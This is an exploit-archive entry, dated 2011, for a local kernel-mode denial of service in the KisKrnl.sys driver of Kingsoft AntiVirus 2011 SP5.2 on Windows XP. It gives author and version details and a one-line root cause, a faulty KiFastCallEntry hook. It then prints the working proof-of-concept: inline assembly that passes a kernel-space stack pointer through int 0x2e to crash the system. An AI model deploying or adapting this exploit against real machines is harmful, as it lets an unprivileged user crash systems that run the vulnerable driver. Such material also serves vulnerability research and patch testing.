Kingsoft AntiVirus 2011 SP5.2 ‘KisKrnl.sys’ 2011.1.13.89 – Local Kernel Mode Denial of Service
# Kingsoft AntiVirus 2011 SP5.2 KisKrnl.sys <= 2011.1.13.89 Local Kernel Mode D.O.S Exploit # Date: 2011-1-16 # Author: MJ0011 # Software Link: http://cd001.www.duba.net/duba/install/2011/once/KAV110114_DOWN_9_13.exe # Version: KingSoft AntiVirus 2011 SP5.2 with KisKrnl.sys <=2011.1.13.89 # Tested on: Windows XP SP3 DETAILS: KisKrnl.sys hook the kernel function KiFastCallEntry , but is not correctly handle user stack pointer EXPLOIT CODE: __asm { mov edx , 0x80000000 mov eax , 0x101 ;id of NtTerminateProcess under Windows XP int 0x2e } |